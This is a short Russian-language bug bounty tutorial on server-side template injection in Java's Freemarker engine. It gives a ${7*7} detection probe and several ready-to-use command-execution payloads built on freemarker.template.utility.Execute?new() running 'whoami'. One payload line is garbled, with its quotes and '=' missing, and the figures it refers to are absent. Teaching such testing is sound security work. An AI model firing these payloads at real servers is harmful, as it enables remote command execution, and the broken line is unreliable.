#45 Bug Bounty v.2 — Server Side Template Injection (SSTI). Java — Freemarker
Здравствуйте, дорогие друзья.
Freemarker — самый популярный шаблонизатор для Java, поэтому рекомендуется научиться его использовать. Пример уязвимого кода приведен на рисунке ниже:
Как вы можете видеть выше, эта уязвимость связана с объединением введенных пользователем данных с шаблоном, как и в любом другом механизме разработки шаблонов. Для проверки на уязвимость SSTI используйте следующую полезную нагрузку:
● ${7*7}
Как и в случае с другими шаблонизаторами, чтобы воспользоваться этой уязвимостью, мы собираемся использовать объект для выполнения команд оболочки. Команда new() может использоваться для создания экземпляров классов, поэтому все, что нам нужно, — это класс, который может выполнять команды оболочки.
Как показано выше, класс Execute может использоваться для выполнения команд оболочки. В документации даже упоминается, что этот класс можно использовать для запуска произвольного кода на вашем сервере. Чтобы использовать этот класс, мы можем запустить следующую команду:
● <#assign ex = «freemarker.template.utility.Execute»?new()>${ ex(«whoami»)}
● [#assign ex = ‘freemarker.template.utility.Execute’?new()]${ ex(‘whoami’)}
[#assign ex freemarker.template.utility.Execute ?new()]${ ex(whoami )}
● ${«freemarker.template.utility.Execute»?new()(«whoami»)}
На этом все. Всем хорошего дня!